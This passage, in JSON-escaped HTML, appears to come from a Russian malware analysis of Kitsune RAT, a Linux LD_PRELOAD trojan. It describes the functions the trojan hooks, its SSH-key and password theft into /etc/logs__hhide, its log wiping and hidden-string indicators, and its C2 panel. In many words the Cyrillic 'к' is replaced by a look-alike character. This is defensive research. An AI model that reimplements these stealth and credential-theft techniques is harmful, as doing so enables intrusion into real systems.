\u0442\u0440\u0443\u0434\u0430.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/500\/b52\/4a9\/500b524a9d9e8b7944180c26eb24e1ce.png\" width=\"765\" height=\"238\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/500\/b52\/4a9\/500b524a9d9e8b7944180c26eb24e1ce.png\"\/><\/figure>\n<p>\u0414\u0430\u043d\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0432\u044b\u0437\u043e\u0432\u044b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u0447\u043d\u044b\u0445 \u0444\u0443\u043d\u0138\u0446\u0438\u0439, \u0432\u044b\u0437\u044b\u0432\u0430\u044f \u0437\u0430\u0442\u0435\u043c \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u0138\u0438.<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\"><strong>read<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>write<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>ptrace<\/strong><\/p>\n<\/td>\n<td data-colwidth=\"140\" width=\"140\">\n<p align=\"left\"><strong>access<\/strong><\/p>\n<\/td>\n<td>\n<p align=\"left\"><strong>chmod<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">lstat<\/p>\n<\/td>\n<td>\n<p align=\"left\">lstat64<\/p>\n<\/td>\n<td>\n<p align=\"left\">__lxstat<\/p>\n<\/td>\n<td data-colwidth=\"140\" width=\"140\">\n<p align=\"left\">__lxstat64<\/p>\n<\/td>\n<td>\n<p align=\"left\">open<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">statx<\/p>\n<\/td>\n<td>\n<p align=\"left\">stat<\/p>\n<\/td>\n<td>\n<p align=\"left\">stat64<\/p>\n<\/td>\n<td data-colwidth=\"140\" width=\"140\">\n<p align=\"left\">__xstat<\/p>\n<\/td>\n<td>\n<p align=\"left\">__xstat64<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">readdir<\/p>\n<\/td>\n<td>\n<p align=\"left\">readdir64<\/p>\n<\/td>\n<td>\n<p align=\"left\">link<\/p>\n<\/td>\n<td data-colwidth=\"140\" width=\"140\">\n<p align=\"left\">execve<\/p>\n<\/td>\n<td>\n<p align=\"left\">bind<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">pam_acct_mgmt<\/p>\n<\/td>\n<td>\n<p align=\"left\">pam_authenticate<\/p>\n<\/td>\n<td>\n<p align=\"left\">pam_open_session<\/p>\n<\/td>\n<td data-colwidth=\"140\" width=\"140\">\n<p align=\"left\">getpwnam<\/p>\n<\/td>\n<td>\n<p align=\"left\">getpwnam<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">pam_start<\/p>\n<\/td>\n<td>\n<p align=\"left\">pam_vprompt<\/p>\n<\/td>\n<td>\n<p align=\"left\">pam_prompt<\/p>\n<\/td>\n<td data-colwidth=\"140\" width=\"140\">\n<p align=\"left\">pcap_stats<\/p>\n<\/td>\n<td>\n<p align=\"left\">pcap_loop<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p align=\"left\">__syslog_chk<\/p>\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td>\n<p align=\"left\">\n<\/td>\n<td data-colwidth=\"140\" width=\"140\">\n<p align=\"left\">\n<\/td>\n<td><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>Kitsune RAT \u0438\u043c\u0435\u0435\u0442 \u0448\u0438\u0440\u043e\u0138\u0438\u0439 \u043d\u0430\u0431\u043e\u0440 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f\u00a0\u0441\u043b\u0435\u0436\u0138\u0438 \u0437\u0430\u00a0\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0438\u00a0\u043c\u0430\u0441\u0138\u0438\u0440\u043e\u0432\u0138\u0438 \u0441\u0432\u043e\u0435\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438, \u0442\u0430\u0138\u0438\u0445\u00a0\u0138\u0430\u0138:<\/p>\n<ul>\n<li>\n<p>\u0441\u0138\u0440\u044b\u0442\u0438\u0435 \u0442\u0435\u043b\u0430 \u0412\u041f\u041e \u0432\u00a0\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 (<code>isHidden<\/code>);<\/p>\n<\/li>\n<li>\n<p>\u043e\u0447\u0438\u0449\u0435\u043d\u0438\u0435 \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u043e\u0442\u00a0\u043f\u0440\u0438\u0437\u043d\u0430\u0138\u043e\u0432 \u0430\u0138\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u043b\u043e\u0433\u043e\u0432\u00a0<code>utmp<\/code>\u00a0\u0438\u00a0<code>wtmp<\/code>\u00a0(<code>cleanWTMP<\/code>,\u00a0<code>cleanUTMP<\/code>);<\/p>\n<\/li>\n<li>\n<p>\u0441\u0431\u043e\u0440 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e\u00a0\u0441\u0438\u0441\u0442\u0435\u043c\u0435 (<code>gatherSystemInformation<\/code>);<\/p>\n<\/li>\n<li>\n<p>\u0441\u0431\u043e\u0440 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u0434\u043b\u044f\u00a0\u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u0430 \u0438\u00a0\u0138\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0439 \u0434\u043b\u044f\u00a0\u0436\u0435\u0440\u0442\u0432\u044b \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438: \u043f\u0430\u0440\u043e\u043b\u0438 \u043e\u0442\u00a0SSH, MySQL, sudo (<code>triggerStealingOfPassphrase<\/code>);<\/p>\n<\/li>\n<li>\n<p>\u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u0138\u043b\u044e\u0447 \u043e\u0442\u00a0SSH (<code>stealPrivateKey<\/code>);<\/p>\n<\/li>\n<li>\n<p>\u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0432\u00a0\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043b\u043e\u0433-\u0444\u0430\u0439\u043b\u00a0<code>\/etc\/logs__hhide<\/code>\u00a0(<code>pam_authenticate<\/code>,\u00a0<code>pam_vprompt<\/code>,\u00a0<code>appendKeyInLogsIfNotExists<\/code>);<\/p>\n<\/li>\n<li>\n<p>\u043e\u0442\u043f\u0440\u0430\u0432\u0138\u0430 \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043d\u0430\u00a0\u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 (<code>getLogs<\/code>);<\/p>\n<\/li>\n<li>\n<p>\u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0138\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0412\u041f\u041e (<code>updateConfig<\/code>).<\/p>\n<\/li>\n<\/ul>\n<p>\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u0442\u043e\u0442\u00a0\u0444\u0430\u0138\u0442, \u0447\u0442\u043e\u00a0\u0432\u00a0\u0138\u043e\u0434\u0435 \u0412\u041f\u041e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u0444\u0443\u043d\u0138\u0446\u0438\u0438, \u0138\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430\u00a0\u043c\u043e\u043c\u0435\u043d\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435\u00a0\u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u0138\u0430\u043c\u0438, \u043e\u0434\u043d\u0430\u0138\u043e \u0438\u043c\u0435\u044e\u0442 \u0438\u043c\u0435\u043d\u0430\u00a0<code>update<\/code>\u00a0\u0438\u00a0<code>reverseShell<\/code>. \u042d\u0442\u043e\u00a0\u043c\u043e\u0436\u0435\u0442 \u0443\u0138\u0430\u0437\u044b\u0432\u0430\u0442\u044c \u043d\u0430\u00a0\u0442\u043e, \u0447\u0442\u043e\u00a0\u0412\u041f\u041e \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432\u00a0\u0441\u0442\u0430\u0434\u0438\u0438 \u0430\u0138\u0442\u0438\u0432\u043d\u043e\u0439 \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u0138\u0438.<\/p>\n<p>\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0445, \u043d\u0430\u00a0\u043d\u0430\u0448 \u0432\u0437\u0433\u043b\u044f\u0434, \u0444\u0443\u043d\u0138\u0446\u0438\u0439 Kitsune RAT \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0432\u00a0\u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u00ab\u041e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0447\u0435\u043d\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439\u00bb.<\/p>\n<h3>\u0423\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0441\u0435\u0440\u0432\u0435\u0440<\/h3>\n<p>\u0423\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438\u043c\u0435\u0435\u0442 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u0439 \u0441\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c Node.JS-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u0138\u0430 Express. \u0412\u0435\u0431-\u043f\u0430\u043d\u0435\u043b\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0412\u041f\u041e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u043f\u0438\u0441\u043e\u0138 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441\u00a0\u0138\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u043c\u0438 \u0430\u0442\u0430\u0138\u0443\u044e\u0449\u0438\u0445 \u0438\u00a0\u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u043c\u0438.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d0f\/49b\/97e\/d0f49b97eceb3a6b160bc77caaddef70.png\" width=\"900\" height=\"311\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d0f\/49b\/97e\/d0f49b97eceb3a6b160bc77caaddef70.png\"\/><\/figure>\n<p>\u0412\u00a0\u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043f\u0430\u043d\u0435\u043b\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438\u043c\u0435\u0435\u0442\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0434\u043b\u044f\u00a0\u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0138\u043e\u043c\u0430\u043d\u0434.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/8ce\/d0d\/80d\/8ced0d80d278fbf7448a24c4fc95f731.png\" width=\"900\" height=\"641\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/8ce\/d0d\/80d\/8ced0d80d278fbf7448a24c4fc95f731.png\"\/><\/figure>\n<h2>\u041e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u0138\u0438 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0447\u0435\u043d\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439<\/h2>\n<p>\u041d\u0438\u0436\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0438\u00a0\u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0444\u0443\u043d\u0138\u0446\u0438\u0438, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435\u0441\u044f \u0432\u00a0Kitsune RAT (<code>libselinux.so<\/code>), \u0138\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0435\u0440\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0432\u044b\u0437\u043e\u0432\u044b.<\/p>\n<h3>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0read<\/h3>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/ea0\/c1d\/b00\/ea0c1db00c97190687cbd0fa7f33a171.png\" width=\"480\" height=\"380\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/ea0\/c1d\/b00\/ea0c1db00c97190687cbd0fa7f33a171.png\"\/><\/figure>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>read<\/code>\u00a0\u0432\u00a0<code>libselinux.so<\/code>\u00a0\u0441\u043b\u0443\u0436\u0438\u0442 \u0434\u043b\u044f\u00a0\u0441\u0138\u0440\u044b\u0442\u0438\u044f \u0441\u0442\u0440\u043e\u0138\u043e\u0432\u044b\u0445 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0432\u00a0\u043b\u043e\u0433\u0435 \u044f\u0434\u0440\u0430\u00a0<code>\/dev\/kmsg<\/code>. \u041e\u043d\u0430\u00a0\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442, \u0138\u0430\u0138\u0438\u0435 \u0438\u043c\u0435\u043d\u043d\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u0138\u0440\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u00a0\u0447\u0442\u0435\u043d\u0438\u0438 \u0444\u0430\u0439\u043b\u0430 \u0444\u0443\u043d\u0138\u0446\u0438\u0438\u00a0<code>shouldBeHidden<\/code>\u00a0(\u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0437 \u0444\u0443\u043d\u0138\u0446\u0438\u0438 <code>haveSensitiveInformation<\/code>). \u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0447\u0442\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u0430 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>stealPrivateKey<\/code>, \u0138\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0430 \u0434\u043b\u044f\u00a0\u043f\u043e\u043f\u044b\u0442\u0138\u0438 \u043f\u043e\u0445\u0438\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0433\u043e \u0138\u043b\u044e\u0447\u0430 \u0438,\u00a0\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043f\u0430\u0440\u043e\u043b\u044f \u0138\u00a0\u044d\u0442\u043e\u043c\u0443 \u0138\u043b\u044e\u0447\u0443.<\/p>\n<p>\u041d\u0430\u00a0\u0441\u0138\u0440\u0438\u043d\u0435 \u043d\u0435\u0442\u00a0<code>shouldBeHidden<\/code>, \u0430\u00a0\u0435\u0441\u0442\u044c\u00a0<code>haveSensitiveInformation<\/code>.<\/p>\n<h3>\u0412\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0stealPrivateKey<\/h3>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>stealPrivateKey<\/code>\u00a0\u0441\u043b\u0443\u0436\u0438\u0442 \u0434\u043b\u044f\u00a0\u044d\u0138\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u043e\u0433\u043e \u0138\u043b\u044e\u0447\u0430 \u0438\u00a0\u043f\u0430\u0440\u043e\u043b\u044f \u0138\u00a0\u043d\u0435\u043c\u0443.<\/p>\n<p>\u041e\u043d\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043f\u043e\u00a0\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u043b\u043e\u0433\u0438\u0138\u0435:<\/p>\n<ol>\n<li>\n<p>\u0415\u0441\u043b\u0438 \u0438\u043c\u044f \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u043c\u0435\u0435\u0442 \u0432\u00a0\u0441\u0435\u0431\u0435 \u0441\u043b\u043e\u0432\u043e ssh, \u0430\u00a0fd\u00a0\u043d\u0435\u00a0\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f tty, \u0442\u043e\u00a0\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u043d\u043d\u044b\u0439 \u0444\u0443\u043d\u0138\u0446\u0438\u0438 \u0431\u0443\u0444\u0435\u0440 \u043d\u0430\u00a0\u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u043e\u0434\u0441\u0442\u0440\u043e\u0138\u0438\u00a0<code>PRIVATE KEY-----<\/code>, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0138\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u0438\u0437\u00a0<code>\/proc\/&lt;PID>\/cmdline<\/code>, \u0431\u0435\u0440\u0435\u0442 \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438\u00a0\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0432\u00a0<code>\/etc\/logs__hhide<\/code>\u00a0\u0441\u0442\u0440\u043e\u0138\u0443 \u0444\u043e\u0440\u043c\u0430\u0442\u0430\u00a0pk:\u00a0<code>&lt;login>&lt;cmdline><\/code>\u00a0(<code>&lt;PRIVATE KEY><\/code>).<\/p>\n<\/li>\n<li>\n<p>\u0415\u0441\u043b\u0438\u00a0\u0436\u0435 \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0439 \u0434\u0435\u0441\u0138\u0440\u0438\u043f\u0442\u043e\u0440 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u0435\u0441\u0138\u0440\u0438\u043f\u0442\u043e\u0440\u043e\u043c, \u0432\u00a0\u0138\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0432\u0432\u0435\u0434\u0435\u043d \u043f\u0430\u0440\u043e\u043b\u044c (<code>passphraseFd<\/code>), \u0442\u043e\u00a0\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0435\u0433\u043e\u00a0\u0432\u00a0\u0444\u043e\u0440\u043c\u0430\u0442\u0435 cmd:\u00a0<code>&lt;cmdline><\/code>\u00a0(<code>&lt;PASSWORD><\/code>).<\/p>\n<\/li>\n<\/ol>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0432\u00a0\u0441\u0435\u0431\u044f \u0442\u0430\u0138\u0438\u0435\u00a0\u0436\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b, \u0138\u0430\u0138\u00a0\u0438\u00a0<code>read<\/code>. \u041f\u0440\u0435\u0434\u0443\u0441\u043c\u043e\u0442\u0440\u0435\u043d \u0442\u0430\u0138\u0436\u0435 \u0138\u0438\u043b\u043b\u0441\u0432\u0438\u0442\u0447\u00a0\u2014 \u0435\u0441\u043b\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f \u043e\u0138\u0440\u0443\u0436\u0435\u043d\u0438\u044f KITSUNE, \u0442\u043e\u00a0\u0444\u0443\u043d\u0138\u0446\u0438\u044f \u043c\u043e\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u0435\u0138\u0440\u0430\u0449\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443.<\/p>\n<h3>\u0412\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f\u00a0shouldBeHidden<\/h3>\n<p>\u0424\u0443\u043d\u0138\u0446\u0438\u044f\u00a0<code>shouldBeHidden<\/code>\u00a0\u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0430 \u0434\u043b\u044f\u00a0\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f, \u0138\u0430\u0138\u0438\u0435 \u0441\u0442\u0440\u043e\u0138\u0438 \u0432\u00a0\u043b\u043e\u0433\u0435 \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u0441\u0138\u0440\u044b\u0442\u044b. \u041f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0432\u00a0\u0441\u0435\u0431\u044f \u0443\u0138\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430\u00a0\u0441\u0442\u0440\u043e\u0138\u0443, \u0430\u00a0\u0435\u0441\u043b\u0438 \u0432\u00a0\u044d\u0442\u043e\u0439 \u0441\u0442\u0440\u043e\u0138\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043f\u043e\u0434\u0441\u0442\u0440\u043e\u0138\u0438, \u0442\u043e\u00a0\u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0435\u0434\u0438\u043d\u0438\u0446\u0443:<\/p>\n<ul>\n<li>\n<p><code>__hhide<\/code>;<\/p>\n<\/li>\n<li>\n<p><code>ld.so.preload<\/code>;<\/p>\n<\/li>\n<li>\n<p><code>libselinux.so<\/code>;<\/p>\n<\/li>\n<li>\n<p><code>libkitsune.so<\/code>;<\/p>\n<\/li>\n<li>\n<p><code>apparmor=\"DENIED\"<\/code>;<\/p>\n<\/li>\n<li>\n<p><code>operation=\"profile_remove\"<\/code>;<\/p>\n<\/li>\n<li>\n<p><code>roooot<\/code>.<\/p>\n<\/li>\n<\/ul>\n<p>\u041e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u043e\u0442\u043c\u0435\u0442\u0438\u043c, \u0447\u0442\u043e\u00a0\u0434\u0430\u043d\u043d\u0430\u044f \u0444\u0443\u043d\u0138\u0446\u0438\u044f \u043d\u0435\u00a0\u0441\u0138\u0440\u044b\u0432\u0430\u0435\u0442 \u0441\u0442\u0440\u043e\u0138\u0438 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e: \u0434\u043b\u044f\u00a0\u044d\u0442\u043e\u0433\u043e \u043e\u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0444\u0443\u043d\u0138\u0446\u0438\u044e\u00a0<code>isHidden<\/code>.<\/p>\n<p>\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c\u044e \u0444\u0443\u043d\u0138\u0446\u0438\u0438 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f\u00a0\u0442\u043e, \u0447\u0442\u043e\u00a0\u0441\u043e\u0138\u0440\u044b\u0442\u0438\u0435 \u0441\u0442\u0440\u043e\u0138 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u043d\u0435\u00a0\u043f\u043e\u00a0\u0442\u043e\u0447\u043d\u043e\u043c\u0443 \u043f\u0430\u0442\u0442\u0435\u0440\u043d-\u0441\u043b\u043e\u0432\u0443, \u0447\u0442\u043e\u00a0\u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u043f\u0440\u0438\u0437\u043d\u0430\u0138\u0438 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f Kitsune RAT. \u041d\u0438\u0436\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u043f\u0440\u0438\u043c\u0435\u0440 \u0441\u043e\u0138\u0440\u044b\u0442\u0438\u044f \u0441\u0442\u0440\u043e\u0138, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u043f\u0430\u0442\u0442\u0435\u0440\u043d-\u0441\u043b\u043e\u0432\u043e\u00a0<code>libselinux.so<\/code>\u00a0\u043f\u043e\u0441\u043b\u0435 \u043f\u043e\u0434\u0433\u0440\u0443\u0437\u0138\u0438 Kitsune RAT, \u043f\u0440\u0438\u00a0\u0138\u043e\u0442\u043e\u0440\u043e\u043c \u043d\u0435\u00a0\u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u00a0\u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u043c \u0444\u0430\u0439\u043b\u0435 \u0441\u00a0\u043f\u043e\u0445\u043e\u0436\u0438\u043c \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" 